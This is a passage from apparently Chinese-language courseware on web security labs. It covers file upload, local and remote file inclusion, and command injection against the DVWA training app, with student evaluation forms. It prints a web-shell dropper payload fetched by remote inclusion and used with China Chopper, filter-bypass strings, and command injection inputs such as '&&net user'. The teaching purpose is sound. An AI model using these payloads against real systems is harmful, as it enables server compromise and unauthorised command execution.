6.3文件上傳漏洞從源代碼可以看到:

Impossible級別對上傳的文件進行了重命名(為md5值,導致00截斷無法繞過過濾規則)。

加入Anti-CSRFtoken防護CSRF攻擊。

③對文件的內容作了嚴格的檢查,導致攻擊者無法上傳含有惡意腳本的文件。【任務實施二:分析medium、high和impossible級別的文件上傳源代碼】完成low級別的文件上傳漏洞的利用。完成medium、high和impossible級別的FileUpload源代碼的分析。使用BurpSuite完成對medium級別的文件上傳漏洞的利用。【任務訓練】6.3文件上傳漏洞學生自評01【任務評價】6.3文件上傳漏洞學生自評表項目名稱:6.3文件上傳漏洞班級:學號:姓名:日期:評價項目評價標準分值自評得分組內評分專業知識文件上傳漏洞10

小組配合文件上傳漏洞的攻擊與防御20

小組評價組員溝通、合作、完成情況10

工作態度態度端正,無無故缺勤、遲到、早退10

工作質量按計劃完成工作任務30

協調能力與小組成員能合作,協調工作10

職業素質實訓過程認真細致5

創新意識有獨立見解,提出獨特解決問題方法5

合計100

【任務評價】6.3文件上傳漏洞學生互評02學生互評表項目名稱:6.3文件上傳漏洞評價項目分值

等級

評價對象(組別)123456成果展示10優(9-10)良(8-9)中(6-7)差(1-5)

【任務拓展】6.3文件上傳漏洞對靶機Metasploitable2-Linux的DVWA進行文件上傳漏洞的利用。046.4文件包含漏洞6.4文件包含漏洞學習目標任務分析相關知識任務描述任務實施任務訓練任務評價學習路徑【學習目標】1、理解文件包含漏洞。2、掌握文件包含漏洞的利用。3、掌握文件包含漏洞的防御方法。6.4文件包含漏洞【任務分析】6.4文件包含漏洞上傳文件包含漏洞是一種常見的依賴于腳本運行而影響Web應用程序的漏洞,許多腳本語言支持使用包含文件(IncludeFile),這種功能允許開發者把可使用的代碼插入到單個文件中,在需要的時候將它們包含在特殊功能的代碼中,然后,包含文件中的代碼被解釋,就好像它們插入到包含指令的位置一樣。本任務介紹文件包含漏洞、分析文件包含漏洞代碼,講解文件包含漏洞的利用方法,介紹防范文件包含漏洞的措施。【相關知識】6.4文件包含漏洞一、文件包含漏洞文件包含漏洞通常發生在應用程序使用用戶輸入來構建文件路徑時,而沒有適當地驗證或過濾這些輸入。攻擊者可以利用這一點,通過修改輸入參數來訪問或包含服務器上的其他文件,甚至可能包含遠程服務器上的文件。文件包含漏洞分為兩種類型:一種是本地包含漏洞,也就是包含的文件是在本地服務器上的;另一種是遠程文件包含漏洞,包含的文件可以是來自別的服務器上的。【相關知識】6.4文件包含漏洞二、文件包含漏洞的防范措施

防御本地文件包含,從代碼層來講,在開發過程中應該盡量避免動態的變量,尤其是用戶可以控制的變量。1、采用白名單的方式將允許包含的文件列出來,只允許包含白名單中的文件,這樣就可以避免任意文件包含的風險。2、將文件包含漏洞利用過程中的一些特殊字符定義在黑名單中,對傳入的參數進行過。【任務描述】

文件包含漏洞分為兩種類型:本地文件包含漏洞和遠程文件包含。為了深入掌握這兩種漏洞的原理和利用方法,我們將在兩臺服務器上分別創建腳本,然后,我們將在客戶機上利用DVWA平臺提供的文件包含漏洞,執行這些腳本,以實現在服務器端對腳本代碼的解釋執行。本節的學習任務分為兩部分:一、low級別的文件包含漏洞的利用。二、分析medium、high和impossible級別的文件包含源代碼。6.4文件包含漏洞本任務所使用的計算機在Web服務服A上安裝了DVWA平臺。訪問地址:01/dvwa/。【任務實施】6.4文件包含漏洞編號操作系統IP地址用途1WindowsServer200801服務器A2WindowsServer200828服務器B3Windows734客戶機6.4文件包含漏洞1、攻擊準備點擊三個文件鏈接中的任何一個,DVWA平臺會包含相應的文件,并顯示文件內容。【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞1、攻擊準備點擊“file1.php”,包含“file1.php”文件,顯示文件內容。【說明】服務器包含文件時,不管文件后綴是否是php,都會嘗試做php文件執行,如果文件內容確為php,則會正常執行并返回結果,如果不是,則會原封不動地打印文件內容。【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞2、查看源代碼,分析漏洞利用方法

可以看到,服務器對page參數沒有做任何的過濾。【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞2、查看源代碼,分析漏洞利用方法我們利用不可控的page參數進行滲透,構造page=C:\test.php,這里C:\test.php是不存在的,注入后按回車鍵,顯示文件打開失敗,并且顯示了文件所在的路徑,證明這個參數是可以利用的。

【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞3、漏洞利用

(1)本地文件包含漏洞的利用

在Web服務器A上,打開記事本,輸入“<?phpphpinfo();?>”,另存為C:\phpinfo.php。

【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞3、漏洞利用

(1)本地文件包含漏洞的利用

在客戶機上,注入參數是C:\phpinfo.php,結果表明文件包含不僅僅能讀取文件,還能夠執行文件,漏洞利用成功。【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞3、漏洞利用

(2)遠程文件包含漏洞的利用1

在Web服務器B上,打開記事本,輸入“<?phpphpinfo();?>”,保存文件名為phpinfo.txt,并保存在網站根目錄下。

在客戶機上,注入參數是28/phpinfo.txt,可見漏洞利用成功。【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞3、漏洞利用

(3)遠程文件包含漏洞的利用2①在Web服務器B上,編寫腳本文件muma.txt保存在網站根目錄下,代碼為:<?phpfputs(fopen("muma.php","w"),'<?php@eval($_POST[pass]);?>')?>

【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞3、漏洞利用

(3)遠程文件包含漏洞的利用2②在客戶機上,注入參數是28/muma.txt。注入后,muma.php文件將寫入到Web服務器A根目錄的dvwa/vulnerabilities/fi上。【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞3、漏洞利用

(3)遠程文件包含漏洞的利用2

③使用中國菜刀連接Web服務器A地址是01/dvwa/vulnerabilities/fi/muma.php【任務實施一:low級別的文件包含漏洞利用】6.4文件包含漏洞1、分析medium級別的文件包含源代碼

(1)查看源代碼,分析漏洞利用方法

可以看到,使用str_replace()函數,對page參數進行了一定的處理,將“http://”、“https://”、“../”、“..\”替換為空字符,即刪除。

顯然這樣,對本地文件包含攻擊是沒有防御的,對遠程文件包含攻擊有防御的。

【任務實施二:分析medium、high和impossible級別的文件包含源代碼】6.4文件包含漏洞1、分析medium級別的文件包含源代碼

(1)查看源代碼,分析漏洞利用方法

對本地文件包含攻擊是沒有防御的

對遠程文件包含攻擊有防御的【任務實施二:分析medium、high和impossible級別的文件包含源代碼】6.4文件包含漏洞1、分析medium級別的文件包含源代碼

(2)漏洞利用

①使用雙寫繞過替換規則。例如,“hthttp://tp://”中間的“http://”被代替成""后剩下的字符仍然是“http://”,能夠成功繞過。

在客戶機上,注入參數是hthttp://tp://28/phpinfo.txt。注入后,可看到漏洞利用成功。

【任務實施二:分析medium、high和impossible級別的文件包含源代碼】6.4文件包含漏洞1、分析medium級別的文件包含源代碼

(2)漏洞利用

②使用大小寫繞過替換規則。例如,“Http://”能夠成功繞過。

在客戶機上,注入參數是Http://28/phpinfo.txt。注入后,可看到漏洞利用成功。

【任務實施二:分析medium、high和impossible級別的文件包含源代碼】6.4文件包含漏洞2、分析high級別的文件包含源代碼

(1)查看源代碼

可以看到,使用fnmatch()函數檢查page參數,要求page參數的開頭必須是file,服務器才會去包含相應的文件。

代碼規定只能包含file開頭的文件,看似安全,但是依然可以利用file協議繞過防護策略。

【任務實施二:分析medium、high和impossible級別的文件包含源代碼】6.4文件包含漏洞2、分析high級別的文件包含源代碼(2)漏洞利用

給page參數注入file:///C:\phpinfo.php。注入后,可看到漏洞利用成功。【任務實施二:分析medium、high和impossible級別的文件包含源代碼】6.4文件包含漏洞3、分析impossible級別的文件包含源代碼

(1)查看源代碼(2)源代碼分析

impossible級別的代碼使用了白名單機制進行防護,page參數必須為“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了文件包含漏洞。

【任務實施二:分析medium、high和impossible級別的文件包含源代碼】完成low級別的文件包含漏洞的利用。完成medium、high和impossible級別的FileUpload源代碼的分析。完成medium和high級別的文件包含漏洞的利用。【任務訓練】6.4文件包含漏洞學生自評01【任務評價】6.4文件包含漏洞學生自評表項目名稱:6.4文件包含漏洞班級:學號:姓名:日期:評價項目評價標準分值自評得分組內評分專業知識文件包含漏洞10

小組配合文件包含漏洞的利用和防御措施20

小組評價組員溝通、合作、完成情況10

工作態度態度端正,無無故缺勤、遲到、早退10

工作質量按計劃完成工作任務30

協調能力與小組成員能合作,協調工作10

職業素質實訓過程認真細致5

創新意識有獨立見解,提出獨特解決問題方法5

合計100

【任務評價】6.4文件包含漏洞學生互評表項目名稱:6.4文件包含漏洞評價項目分值

等級

評價對象(組別)123456成果展示10優(9-10)良(8-9)中(6-7)差(1-5)

學生互評02【任務拓展】6.4文件包含漏洞對靶機Metasploitable2-Linux的DVWA進行文件包含漏洞的利用。056.5命令執行漏洞6.5命令執行漏洞學習目標任務分析相關知識任務描述任務實施任務訓練任務評價學習路徑【學習目標】1、理解命令執行漏洞。2、掌握命令執行漏洞的利用。3、了解命令執行漏洞的防范措施。6.5命令執行漏洞【任務分析】6.5命令執行漏洞

命令執行漏洞,也稱命令注入漏洞,是攻擊者可以隨意執行系統命令,它屬于高危漏洞之一。

本任務介紹命令執行漏洞、分析命令執行漏洞代碼,講解命令執行漏洞的利用方法,介紹防范命令執行漏洞的措施。【相關知識】一、命令執行漏洞的原理

命令執行漏洞,也稱命令注入漏洞,它允許攻擊者在Web應用程序中執行未授權的系統命令。這種漏洞通常出現在Web應用程序處理用戶輸入時,未對輸入數據進行充分的驗證和過濾,從而使得攻擊者能夠通過特定的輸入格式注入系統命令。二、常用的命令連接符

命令連接符包括:&、&&、|、||。三、命令執行漏洞的防御措施

1、盡量不要使用命令執行函數。

2、客戶端提交的變量在進入執行命令函數前要做好過濾和檢測。

3、在使用動態函數之前,確保使用的函數是指定的函數之一。

4、對PHP語言來說,不能完全控制的危險函數最好不要使用。6.5命令執行漏洞【任務描述】

我們將利用DVWA平臺上的命令執行漏洞來執行系統命令。本節的學習任務分為兩部分:

一、low級別的命令執行漏洞利用。

二、分析medium、high和impossible級別的命令執行源代碼。6.5命令執行漏洞【任務實施】6.5命令執行漏洞本任務所使用的計算機在Web服務服上安裝了DVWA平臺。訪問地址:01/dvwa/。編號操作系統IP地址用途1WindowsServer200801Web服務器2Windows734客戶機6.5命令執行漏洞1、攻擊準備這里提供了PingIP地址,并將Ping命令的執行過程顯示出來。

【任務實施一:low級別的命令執行漏洞利用】6.5命令執行漏洞1、攻擊準備測試:。點擊Submit按鈕。可以正常連接。

【任務實施一:low級別的命令執行漏洞利用】6.5命令執行漏洞2、查看源代碼【任務實施一:low級別的命令執行漏洞利用】6.5命令執行漏洞3、源代碼分析①php_uname函數的功能:返回運行PHP的系統的有關信息。參數‘s’是返回操作系統名稱。②stristr函數的功能:搜索字符串在另一字符串中的第一次出現。返回字符串的剩余部分(從匹配點)。如果未找到所搜索的字符串,則返回FALSE。③shell_exec函數的功能:可以執行任何在命令行中可以運行的命令。并且返回命令的輸出。可以看到,服務器通過判斷操作系統執行不同ping命令,但是對ip參數并未做任何的過濾,存在命令注入漏洞。【任務實施一:low級別的命令執行漏洞利用】6.5命令執行漏洞4、漏洞利用注入:12&&netuser。點擊Submit按鈕。成功地使用命令netuser查詢到系統的用戶列表,漏洞利用成功。

【任務實施一:low級別的命令執行漏洞利用】6.5命令執行漏洞4、漏洞利用【說明】命令連接符:①&&:前面語句為真,則依次執行前面和后面語句。②&:前面語句為真,則依次執行前面和后面語句。③|:前面語句為真,則執行后面語句。【任務實施一:low級別的命令執行漏洞利用】1、分析medium級別的命令注入源代碼(1)查看源代碼服務器端對ip參數做了一定過濾,即把“&&”,“;”刪除,本質上采用的是字符黑名單機制,因此依舊存在安全問題。

6.5命令執行漏洞【任務實施二:分析medium、high和impossible級別的命令執行源代碼】1、分析medium級別的命令注入源代碼(2)漏洞利用注入:&netuser。點擊“Submit”。命令注入成功。

6.5命令執行漏洞【任務實施二:分析medium、high和impossible級別的命令執行源代碼】2、分析high級別的命令注入源代碼(1)查看源代碼

6.5命令執行漏洞【任務實施二:分析medium、high

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論